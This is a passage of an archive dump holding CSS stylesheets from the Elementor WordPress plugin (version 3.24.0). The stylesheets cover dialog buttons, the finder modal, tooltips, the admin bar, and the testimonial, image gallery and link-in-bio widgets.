.dialog-button.elementor-button-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button i,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button i{margin-inline-end:5px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited{color:initial}#elementor-change-exit-preference-dialog .dialog-message a{cursor:pointer}#elementor-change-exit-preference-dialog .dialog-message>div{margin-block-end:10px}#e-experiments-messages-dialog .dialog-confirm-header{font-weight:600}#e-kit-elements-defaults-create-dialog label{display:flex;align-items:center;justify-content:center;gap:10px;margin-block-start:20px}@media (min-width:1024px){body.admin-bar .dialog-lightbox-widget{height:calc(100vh - 32px)}}@media (max-width:1024px){body.admin-bar .dialog-type-lightbox{position:sticky;height:100vh}}.elementor-templates-modal .dialog-widget-content{font-family:Roboto,Arial,Helvetica,sans-serif;background-color:var(--e-a-bg-default);width:100%}@media (max-width:1439px){.elementor-templates-modal .dialog-widget-content{max-width:990px}}@media (min-width:1440px){.elementor-templates-modal .dialog-widget-content{max-width:1200px}}.elementor-templates-modal .dialog-header{border-block-end:var(--e-a-border);padding:0;z-index:1}.elementor-templates-modal .dialog-buttons-wrapper{border-block-start:var(--e-a-border);padding:10px;display:flex;justify-content:flex-end;gap:15px}.elementor-templates-modal .dialog-message{height:750px;max-height:85vh;overflow-y:auto;padding:20px}.elementor-templates-modal .dialog-content{height:100%;text-align:center}.elementor-templates-modal .dialog-loading{display:none}.elementor-templates-modal__header{display:flex;align-items:center;justify-content:space-between;height:50px}.elementor-templates-modal__header__logo{line-height:1;text-transform:uppercase;font-weight:700;cursor:pointer}.elementor-templates-modal__header__logo-area{text-align:start;padding-inline-start:15px}.elementor-templates-modal__header__logo-area>*{display:flex;align-items:center}.elementor-templates-modal__header__logo__icon-wrapper{margin-inline-end:10px;font-size:12px}.elementor-templates-modal__header__logo__title{color:var(--e-a-color-txt-active);padding-block-start:2px}.elementor-templates-modal__header__items-area{display:flex;flex-direction:row-reverse}.elementor-templates-modal__header__item{position:relative;display:flex;align-items:center;justify-content:center;box-sizing:content-box}.elementor-templates-modal__header__item>i{font-size:20px;transition:var(--e-a-transition-hover);cursor:pointer}.elementor-templates-modal__header__item>i:hover{color:var(--e-a-color-txt-hover)}.elementor-templates-modal__header__close--normal{width:47px;border-inline-start:var(--e-a-border)}.elementor-templates-modal__header__close--normal i{font-size:18px}.elementor-templates-modal__header__close--skip{padding:10px;padding-inline-start:20px;margin-inline-end:10px;font-size:11px;font-weight:400;line-height:1;border-radius:var(--e-a-border-radius);cursor:pointer}.elementor-templates-modal__header__close--skip>i{font-size:inherit;padding-inline-start:10px;margin-inline-start:15px;border-inline-start:1px solid}.elementor-templates-modal__header__close--skip>i:not(:hover){color:var(--e-a-color-white)}.elementor-templates-modal__sidebar{flex-shrink:0;width:25%;border-inline-end:var(--e-a-border)}.elementor-templates-modal__content{flex-grow:1}#elementor-toast{position:absolute;width:280px;padding:20px;border-radius:5px;color:var(--e-a-dark-color-txt);background-color:rgba(0,0,0,.8);z-index:10000}#elementor-toast.dialog-position-window{position:fixed}#elementor-toast .dialog-message{font-size:13px}#elementor-toast .dialog-buttons-wrapper{display:flex;justify-content:flex-end}#elementor-toast .dialog-buttons-wrapper:not(:empty){margin-top:15px}#elementor-toast .dialog-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;margin-inline-end:10px;color:var(--e-a-dark-color-txt);border-radius:var(--e-a-border-radius);transition:var(--e-a-transition-hover);cursor:pointer}#elementor-toast .dialog-button:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}#elementor-toast .dialog-button:last-child{margin-inline-end:0}#wpadminbar #wp-admin-bar-elementor_edit_page .elementor-general-section+.elementor-second-section{border-block-start:1px solid #464b50;margin-block-start:6px}.e-logo-wrapper{background:var(--e-a-bg-logo);display:inline-block;padding:.75em;border-radius:50%;line-height:1}.e-logo-wrapper i{color:var(--e-a-color-logo);font-size:1em}#elementor-finder__modal{background:none;z-index:99999}#elementor-finder__modal .dialog-widget-content{width:650px;max-width:98%;top:18vh;left:calc(50% - 650px / 2)}#elementor-finder__modal .dialog-content{text-align:start}#elementor-finder__modal .dialog-message{height:auto;min-height:0;padding:0;text-align:start}#elementor-finder__search{padding:15px;display:flex}#elementor-finder__search i{font-size:16px;margin-inline-end:15px}#elementor-finder__search__input{border:none;background:none;outline:none;padding:0;margin:0;flex-grow:1;font-size:14px;box-shadow:none}#elementor-finder__search__input::-moz-placeholder{font-style:italic;font-weight:300}#elementor-finder__search__input::placeholder{font-style:italic;font-weight:300}#elementor-finder__results{max-height:50vh;overflow:auto}#elementor-finder__no-results{display:none;padding:20px}#elementor-finder__lock-dialog{z-index:100000}.elementor-finder__results__category{position:relative}.elementor-finder__results__category__title{padding:5px 25px;font-size:10px;border-block-end:var(--e-a-border)}.elementor-finder__results__category--dynamic .elementor-finder__results__category__items{min-height:26px}.elementor-finder__results__category .eicon-loading{display:none;position:absolute;left:10px;top:30px;color:var(--e-a-color-info);font-size:14px}.elementor-finder__results__item{display:flex}.elementor-finder__results__item a{text-decoration:none;color:inherit}.elementor-finder__results__item.elementor-active{background-color:var(--e-a-bg-hover)}.elementor-finder__results__item.elementor-active a{color:inherit}.elementor-finder__results__item:not(.elementor-active) .elementor-finder__results__item__actions{display:none}.elementor-finder__results__item__link{display:flex;align-items:center;height:35px;flex-grow:1}.elementor-finder__results__item__icon{width:60px;text-align:center;font-size:17px}.elementor-finder__results__item__title{font-size:13px}.elementor-finder__results__item__description{margin-inline-start:5px;font-style:italic}.elementor-finder__results__item__badge{text-transform:uppercase;position:absolute;inset-inline-end:16px;font-size:8px;font-weight:500;display:flex;align-items:center;gap:4px}.elementor-finder__results__item__actions{display:flex}.elementor-finder__results__item__action{display:flex;align-items:center;justify-content:center;height:100%;width:35px}.elementor-finder__results__item__action:hover{background-color:rgba(0,0,0,.07)}.tipsy{font-size:10px;position:absolute;padding:5px;z-index:100000}.tipsy-inner{background-color:#000;color:#fff;font-weight:500;max-width:200px;padding:5px 12px;text-align:center;border-radius:3px;box-shadow:0 0 5px 0 rgba(0,0,0,.5)}.tipsy-arrow{position:absolute;width:0;height:0;line-height:0;border:5px dashed #000}.tipsy-arrow-n{border-bottom-color:#000}.tipsy-arrow-s{border-top-color:#000}.tipsy-arrow-e{border-left-color:#000}.tipsy-arrow-w{border-right-color:#000}.tipsy-n .tipsy-arrow,.tipsy-nw .tipsy-arrow{border-left-color:transparent;border-right-color:transparent;top:0;border-bottom-style:solid;border-top:none}.tipsy-n .tipsy-arrow{left:50%;margin-left:-5px}.tipsy-nw .tipsy-arrow{left:10px}.tipsy-ne .tipsy-arrow{top:0;right:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.tipsy-s .tipsy-arrow,.tipsy-se .tipsy-arrow,.tipsy-sw .tipsy-arrow{bottom:0;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.tipsy-s .tipsy-arrow{left:50%;margin-left:-5px}.tipsy-sw .tipsy-arrow{left:10px}.tipsy-se .tipsy-arrow{right:10px}.tipsy-e .tipsy-arrow,.tipsy-w .tipsy-arrow{top:50%;margin-top:-5px;border-top-color:transparent;border-bottom-color:transparent}.tipsy-e .tipsy-arrow{right:0;border-left-style:solid;border-right:none}.tipsy-w .tipsy-arrow{left:0;border-right-style:solid;border-left:none}assets/css/app-base.css000064400000003453147206604650011057 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root { --color-box-shadow-color: rgba(0, 0, 0, 0.05); } .eps-theme-dark { --color-box-shadow-color: rgba(0, 0, 0, 0.1); } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); white-space: nowrap; border: 0; } @media screen and (min-width: 480px) { .text-start-sm { text-align: start; } } @media screen and (min-width: 480px) { .text-center-sm { text-align: center; } } @media screen and (min-width: 480px) { .text-end-sm { text-align: end; } } @media screen and (min-width: 768px) { .text-start-md { text-align: start; } } @media screen and (min-width: 768px) { .text-center-md { text-align: center; } } @media screen and (min-width: 768px) { .text-end-md { text-align: end; } } @media screen and (min-width: 1025px) { .text-start-lg { text-align: start; } } @media screen and (min-width: 1025px) { .text-center-lg { text-align: center; } } @media screen and (min-width: 1025px) { .text-end-lg { text-align: end; } } @media screen and (min-width: 1440px) { .text-start-xl { text-align: start; } } @media screen and (min-width: 1440px) { .text-center-xl { text-align: center; } } @media screen and (min-width: 1440px) { .text-end-xl { text-align: end; } } @media screen and (min-width: 1600px) { .text-start-xxl { text-align: start; } } @media screen and (min-width: 1600px) { .text-center-xxl { text-align: center; } } @media screen and (min-width: 1600px) { .text-end-xxl { text-align: end; } } @keyframes eps-animation-pop { from { transform: scale(0.75); opacity: 0; } to { transform: scale(1); opacity: 1; } } /*# sourceMappingURL=app-base.css.map */assets/css/admin-bar.css000064400000001450147206604650011214 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #wp-admin-bar-elementor_edit_page > .ab-item::before { content: "\e813"; font-family: eicons; inset-block-start: 3px; font-size: 18px; } #wp-admin-bar-elementor_edit_page .ab-submenu .ab-item { display: flex; width: 200px; } #wp-admin-bar-elementor_edit_page .elementor-edit-link-title { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; width: 100%; } #wp-admin-bar-elementor_edit_page .elementor-edit-link-type { background: #3f444b; font-size: 11px; line-height: 9px; margin-block-start: 6px; padding: 4px 8px; border-radius: 3px; } #wp-admin-bar-elementor_inspector > .ab-item::before { content: "\f348"; inset-block-start: 2px; } #wpadminbar * { font-style: normal; } /*# sourceMappingURL=admin-bar.css.map */assets/css/widget-testimonial.min.css000064400000003220147206604650013752 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-testimonial-wrapper{overflow:hidden;text-align:center}.elementor-testimonial-wrapper .elementor-testimonial-content{font-size:1.3em;margin-bottom:20px}.elementor-testimonial-wrapper .elementor-testimonial-name{line-height:1.5;display:block}.elementor-testimonial-wrapper .elementor-testimonial-job{font-size:.85em;display:block}.elementor-testimonial-wrapper .elementor-testimonial-meta{width:100%;line-height:1}.elementor-testimonial-wrapper .elementor-testimonial-meta-inner{display:inline-block}.elementor-testimonial-wrapper .elementor-testimonial-meta .elementor-testimonial-details,.elementor-testimonial-wrapper .elementor-testimonial-meta .elementor-testimonial-image{display:table-cell;vertical-align:middle}.elementor-testimonial-wrapper .elementor-testimonial-meta .elementor-testimonial-image img{width:60px;height:60px;border-radius:50%;-o-object-fit:cover;object-fit:cover;max-width:none}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-aside .elementor-testimonial-image{padding-inline-end:15px}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-aside .elementor-testimonial-details{text-align:start}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-top .elementor-testimonial-details,.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-top .elementor-testimonial-image{display:block}.elementor-testimonial-wrapper .elementor-testimonial-meta.elementor-testimonial-image-position-top .elementor-testimonial-image{margin-bottom:20px}assets/css/widget-image-gallery-rtl.min.css000064400000004633147206604650014751 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-image-gallery .gallery-item{display:inline-block;text-align:center;vertical-align:top;width:100%;max-width:100%;margin:0 auto}.elementor-image-gallery .gallery-item img{margin:0 auto}.elementor-image-gallery .gallery-item .gallery-caption{margin:0}.elementor-image-gallery figure img{display:block}.elementor-image-gallery figure figcaption{width:100%}.gallery-spacing-custom .elementor-image-gallery .gallery-icon{padding:0}@media (min-width:768px){.elementor-image-gallery .gallery-columns-2 .gallery-item{max-width:50%}.elementor-image-gallery .gallery-columns-3 .gallery-item{max-width:33.33%}.elementor-image-gallery .gallery-columns-4 .gallery-item{max-width:25%}.elementor-image-gallery .gallery-columns-5 .gallery-item{max-width:20%}.elementor-image-gallery .gallery-columns-6 .gallery-item{max-width:16.666%}.elementor-image-gallery .gallery-columns-7 .gallery-item{max-width:14.28%}.elementor-image-gallery .gallery-columns-8 .gallery-item{max-width:12.5%}.elementor-image-gallery .gallery-columns-9 .gallery-item{max-width:11.11%}.elementor-image-gallery .gallery-columns-10 .gallery-item{max-width:10%}}@media (min-width:480px) and (max-width:767px){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:50%}}@media (max-width:479px){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:100%}}assets/css/widget-image-rtl.min.css000064400000000376147206604650013314 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-image{text-align:center}.elementor-widget-image a{display:inline-block}.elementor-widget-image a img[src$=".svg"]{width:48px}.elementor-widget-image img{vertical-align:middle;display:inline-block}assets/css/widget-link-in-bio.min.css000064400000042767147206604650013555 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .e-link-in-bio{--e-link-in-bio-border-color:transparent;--e-link-in-bio-border-style:none;--e-link-in-bio-border-width:0;--e-link-in-bio-container-height:auto;--e-link-in-bio-container-width:360px;--e-link-in-bio-content-align-h:center;--e-link-in-bio-content-align-v:center;--e-link-in-bio-content-width:280px;--e-link-in-bio-full-height:100vh;--e-link-in-bio-gutter-block-end:45px;--e-link-in-bio-gutter-block-start:38px;--e-link-in-bio-gutter-inline:40px;--e-link-in-bio-identity-image-cover-border-bottom-width:0;--e-link-in-bio-identity-image-cover-border-color:transparent;--e-link-in-bio-identity-image-cover-border-style:none;--e-link-in-bio-identity-image-cover-height:170px;--e-link-in-bio-identity-image-cover-position:center center;--e-link-in-bio-identity-image-profile-border-color:transparent;--e-link-in-bio-identity-image-profile-position:center center;--e-link-in-bio-identity-image-profile-border-radius:50%;--e-link-in-bio-identity-image-profile-border-style:none;--e-link-in-bio-identity-image-profile-border-width:0;--e-link-in-bio-identity-image-profile-width:115px;--e-link-in-bio-heading-color:inherit;--e-link-in-bio-title-color:inherit;--e-link-in-bio-about-heading-color:inherit;--e-link-in-bio-description-color:#324a6d;--e-link-in-bio-icon-background-color:transparent;--e-link-in-bio-icon-border-color:transparent;--e-link-in-bio-icon-border-style:none;--e-link-in-bio-icon-border-width:0;--e-link-in-bio-icon-color:inherit;--e-link-in-bio-icon-columns:3;--e-link-in-bio-icon-gap:20px 29px;--e-link-in-bio-icon-size:25px;--e-link-in-bio-ctas-background-color:#467ff7;--e-link-in-bio-ctas-border-color:transparent;--e-link-in-bio-ctas-border-radius:20px;--e-link-in-bio-ctas-border-style:none;--e-link-in-bio-ctas-border-width:0;--e-link-in-bio-ctas-gap:22px;--e-link-in-bio-ctas-padding-block-end:17px;--e-link-in-bio-ctas-padding-block-start:17px;--e-link-in-bio-ctas-padding-inline-end:20px;--e-link-in-bio-ctas-padding-inline-start:20px;--e-link-in-bio-ctas-text-color:#fff;--e-link-in-bio-image-links-border-color:transparent;--e-link-in-bio-image-links-border-style:solid;--e-link-in-bio-image-links-border-width:0;--e-link-in-bio-image-links-columns:2;--e-link-in-bio-image-links-gap:10px;--e-link-in-bio-image-links-height:auto;--background-overlay-opacity:0.5;align-items:var(--e-link-in-bio-content-align-h);border:var(--e-link-in-bio-border-width) var(--e-link-in-bio-border-style) var(--e-link-in-bio-border-color);display:flex;flex-direction:column;justify-content:var(--e-link-in-bio-content-align-v);margin-inline:auto;max-width:100%;min-height:var(--e-link-in-bio-container-height);padding:var(--e-link-in-bio-gutter-block-start) var(--e-link-in-bio-gutter-inline) var(--e-link-in-bio-gutter-block-end);position:relative;width:var(--e-link-in-bio-container-width)}@supports (height:100dvh){.e-link-in-bio{--e-link-in-bio-full-height:100dvh}}.e-link-in-bio.has-border{--e-link-in-bio-border-style:solid}@media (max-width:767px){.e-link-in-bio.is-full-height-mobile{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:-1) and (max-width:-1){.e-link-in-bio.is-full-height-mobile_extra{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:768px) and (max-width:1024px){.e-link-in-bio.is-full-height-tablet{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:-1) and (max-width:-1){.e-link-in-bio.is-full-height-laptop,.e-link-in-bio.is-full-height-tablet_extra{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:1025px){.e-link-in-bio.is-full-height-desktop{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:1025px) and (max-width:99999px){.e-link-in-bio.is-full-height-desktop.is-full-height-widescreen{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:-1){.e-link-in-bio.is-full-height-widescreen{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}.e-link-in-bio.is-full-width{--e-link-in-bio-container-width:100%}.e-link-in-bio__bg{display:grid;inset:0;position:absolute;z-index:0}.e-link-in-bio__bg,.e-link-in-bio__bg-overlay{background-position:50%;background-repeat:no-repeat;background-size:cover}.e-link-in-bio__bg-overlay{opacity:var(--background-overlay-opacity)}.e-link-in-bio__content{color:#1c2448;display:flex;flex-direction:column;font-family:var(--e-global-typography-text-font-family,"Poppins"),Sans-serif;max-width:100%;text-align:center;width:var(--e-link-in-bio-content-width);z-index:1}.e-link-in-bio__content *{word-wrap:break-word}.e-link-in-bio__identity{display:grid;grid-template-columns:1fr;grid-template-rows:auto;margin-block-end:14px;margin-block-start:calc(var(--e-link-in-bio-gutter-block-start) * -1)}.e-link-in-bio__identity .e-link-in-bio__identity-image{display:flex;position:relative}.e-link-in-bio__identity .e-link-in-bio__identity-image-element{display:block;flex:1 1 100%;-o-object-fit:cover;object-fit:cover}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover{align-self:start;border:0 var(--e-link-in-bio-identity-image-cover-border-style) var(--e-link-in-bio-identity-image-cover-border-color);border-bottom:var(--e-link-in-bio-identity-image-cover-border-bottom-width) var(--e-link-in-bio-identity-image-cover-border-style) var(--e-link-in-bio-identity-image-cover-border-color);grid-column:1;grid-row:1;margin-inline:calc(var(--e-link-in-bio-gutter-inline) * -1);max-height:var(--e-link-in-bio-identity-image-cover-height);overflow:hidden;width:calc(100% + var(--e-link-in-bio-gutter-inline) * 2)}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover.has-border{--e-link-in-bio-identity-image-cover-border-style:solid}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover .e-link-in-bio__identity-image-element{-o-object-position:var(--e-link-in-bio-identity-image-cover-position);object-position:var(--e-link-in-bio-identity-image-cover-position)}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile{align-self:center;aspect-ratio:1;border-radius:var(--e-link-in-bio-identity-image-profile-border-radius);border:var(--e-link-in-bio-identity-image-profile-border-width) var(--e-link-in-bio-identity-image-profile-border-style) var(--e-link-in-bio-identity-image-profile-border-color);grid-column:1;grid-row:1;overflow:hidden;margin-block-start:var(--e-link-in-bio-gutter-block-start);margin-block-end:17px;margin-inline:auto;max-width:100%;width:var(--e-link-in-bio-identity-image-profile-width)}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile.has-border{--e-link-in-bio-identity-image-profile-border-style:solid}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile.has-style-square{--e-link-in-bio-identity-image-profile-border-radius:0}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile .e-link-in-bio__identity-image-element{aspect-ratio:inherit;-o-object-position:var(--e-link-in-bio-identity-image-profile-position);object-position:var(--e-link-in-bio-identity-image-profile-position)}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover+.e-link-in-bio__identity-image-profile{margin-block-start:17px}.e-link-in-bio__bio>*{margin-block:0}.e-link-in-bio__heading{color:var(--e-link-in-bio-heading-color);font-size:36px;font-weight:600;line-height:42px}.e-link-in-bio__about-heading{color:var(--e-link-in-bio-about-heading-color);font-size:16px;font-weight:500;line-height:20px}.e-link-in-bio__title{color:var(--e-link-in-bio-title-color);font-size:20px;font-weight:500;line-height:35px}.e-link-in-bio__description{color:var(--e-link-in-bio-description-color);font-size:16px;font-weight:300;line-height:24px;margin-block-start:20px}.e-link-in-bio__bio--footer{margin-block-start:34px}.e-link-in-bio__bio--footer .e-link-in-bio__description{font-size:12px;font-weight:500;line-height:20px;margin-block-start:0}.e-link-in-bio__bio--footer .e-link-in-bio__about-heading+.e-link-in-bio__description{margin-block-start:3px}.e-link-in-bio__icons{display:flex;flex-flow:row wrap;gap:var(--e-link-in-bio-icon-gap);justify-content:center;margin-block-start:20px}.e-link-in-bio__icons i{font-size:var(--e-link-in-bio-icon-size)}.e-link-in-bio__icons.has-size-medium{--e-link-in-bio-icon-size:30px}.e-link-in-bio__icons.has-size-large{--e-link-in-bio-icon-gap:20px 24px;--e-link-in-bio-icon-size:35px}.e-link-in-bio__icon{display:flex}.e-link-in-bio__icon .e-link-in-bio__icon-link{align-items:center;color:inherit;display:flex;flex:1 1 auto;flex-direction:column}.e-link-in-bio__icon .e-link-in-bio__icon-link:active,.e-link-in-bio__icon .e-link-in-bio__icon-link:focus,.e-link-in-bio__icon .e-link-in-bio__icon-link:hover{color:inherit}.e-link-in-bio__icon .e-link-in-bio__icon-svg{align-items:center;color:var(--e-link-in-bio-icon-color);display:flex;justify-content:center}.e-link-in-bio__icon svg{fill:currentColor;height:var(--e-link-in-bio-icon-size)}.e-link-in-bio__icon i{font-size:var(--e-link-in-bio-icon-size)}.e-link-in-bio__icon .e-link-in-bio__icon-label{font-size:14px;font-weight:500;line-height:20px;text-align:center}.e-link-in-bio__image-links{display:grid;grid-template-columns:repeat(var(--e-link-in-bio-image-links-columns,2),minmax(0,1fr));grid-template-rows:auto;gap:var(--e-link-in-bio-image-links-gap);margin-block-start:24px}.e-link-in-bio__image-links.has-1-columns{--e-link-in-bio-image-links-columns:1;--e-link-in-bio-image-links-gap:14px}.e-link-in-bio__image-links.has-3-columns{--e-link-in-bio-image-links-columns:3;--e-link-in-bio-image-links-gap:5px}.e-link-in-bio__image-links .e-link-in-bio__image-links-link{display:grid}.e-link-in-bio__image-links img.e-link-in-bio__image-links-img{aspect-ratio:1;border:var(--e-link-in-bio-image-links-border-width) var(--e-link-in-bio-image-links-border-style) var(--e-link-in-bio-image-links-border-color);display:block;height:var(--e-link-in-bio-image-links-height,auto);-o-object-fit:cover;object-fit:cover;width:100%}.e-link-in-bio__ctas{display:grid;grid-template-columns:minmax(0,1fr);grid-template-rows:auto;gap:var(--e-link-in-bio-ctas-gap);margin-block-start:31px}.e-link-in-bio__ctas.has-type-link{--e-link-in-bio-ctas-gap:10px;justify-items:center}.e-link-in-bio__ctas.has-type-divider{--e-link-in-bio-ctas-gap:0}.e-link-in-bio__ctas .e-link-in-bio__cta{display:flex;font-size:16px;font-weight:500;line-height:20px}.e-link-in-bio__ctas .e-link-in-bio__cta,.e-link-in-bio__ctas .e-link-in-bio__cta:active,.e-link-in-bio__ctas .e-link-in-bio__cta:focus,.e-link-in-bio__ctas .e-link-in-bio__cta:hover{color:var(--e-link-in-bio-ctas-text-color)}.e-link-in-bio__ctas .e-link-in-bio__cta-image{flex:0 0 min(50%,140px)}.e-link-in-bio__ctas .e-link-in-bio__cta-image-element{aspect-ratio:140/100;display:block;height:100%;-o-object-fit:cover;object-fit:cover;width:100%}.e-link-in-bio__ctas .e-link-in-bio__cta-text{align-items:center;display:flex;flex:1 1 auto;justify-content:center}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button{border-radius:var(--e-link-in-bio-ctas-border-radius);overflow:hidden}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-border{--e-link-in-bio-ctas-border-style:solid;border:var(--e-link-in-bio-ctas-border-width) var(--e-link-in-bio-ctas-border-style) var(--e-link-in-bio-ctas-border-color)}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-corners-rounded{--e-link-in-bio-ctas-border-radius:20px}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-corners-round{--e-link-in-bio-ctas-border-radius:50px}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-corners-sharp{--e-link-in-bio-ctas-border-radius:0}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button .e-link-in-bio__cta-text{background-color:var(--e-link-in-bio-ctas-background-color);padding-block-end:var(--e-link-in-bio-ctas-padding-block-end);padding-block-start:var(--e-link-in-bio-ctas-padding-block-start);padding-inline-end:var(--e-link-in-bio-ctas-padding-inline-end);padding-inline-start:var(--e-link-in-bio-ctas-padding-inline-start)}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-link{--e-link-in-bio-ctas-text-color:#467ff7;font-weight:700;margin-block:17px;justify-content:center}.e-link-in-bio .e-link-in-bio__content .e-link-in-bio__ctas .e-link-in-bio__cta.is-type-link{text-decoration:underline}.e-link-in-bio-var-2{--e-link-in-bio-gutter-block-end:35px;--e-link-in-bio-identity-image-cover-height:215px;--e-link-in-bio-identity-image-profile-width:130px;--e-link-in-bio-identity-image-profile-border-color:#fff;--e-link-in-bio-identity-image-profile-border-style:solid;--e-link-in-bio-identity-image-profile-border-width:3px}.e-link-in-bio-var-2 .e-link-in-bio__identity{grid-template-rows:1fr auto auto}.e-link-in-bio-var-2 .e-link-in-bio__identity .e-link-in-bio__identity-image-cover{grid-row:1/span 2}.e-link-in-bio-var-2 .e-link-in-bio__identity .e-link-in-bio__identity-image-profile{grid-row:2/span 2}.e-link-in-bio-var-2 .e-link-in-bio__identity .e-link-in-bio__identity-image-cover+.e-link-in-bio__identity-image-profile{margin-block:17px}.e-link-in-bio-var-2 .e-link-in-bio__icons{margin-block-start:35px}.e-link-in-bio-var-3{--e-link-in-bio-gutter-block-end:20px;--e-link-in-bio-ctas-border-radius:0;--e-link-in-bio-ctas-gap:8px}.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-border{border:none}.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-border .e-link-in-bio__cta-image{--e-link-in-bio-ctas-border-style:solid;border:var(--e-link-in-bio-ctas-border-width) var(--e-link-in-bio-ctas-border-style) var(--e-link-in-bio-ctas-border-color)}.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-corners-round,.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-corners-rounded{--e-link-in-bio-ctas-border-radius:0}.e-link-in-bio-var-4{--e-link-in-bio-ctas-text-color:#1c2448;--e-link-in-bio-ctas-background-color:transparent;--e-link-in-bio-ctas-divider-color:#1c2448;--e-link-in-bio-ctas-divider-width:1px;--e-link-in-bio-ctas-divider-style:solid;--e-link-in-bio-ctas-padding-inline-end:16px;--e-link-in-bio-ctas-padding-inline-start:16px}.e-link-in-bio-var-4 .e-link-in-bio__ctas{grid-gap:0;margin-block-end:28px;margin-block-start:28px}.e-link-in-bio-var-4 .e-link-in-bio__ctas .e-link-in-bio__cta{border-bottom:var(--e-link-in-bio-ctas-divider-width) var(--e-link-in-bio-ctas-divider-style) var(--e-link-in-bio-ctas-divider-color);font-size:24px;font-weight:600;line-height:42px}.e-link-in-bio-var-4 .e-link-in-bio__ctas 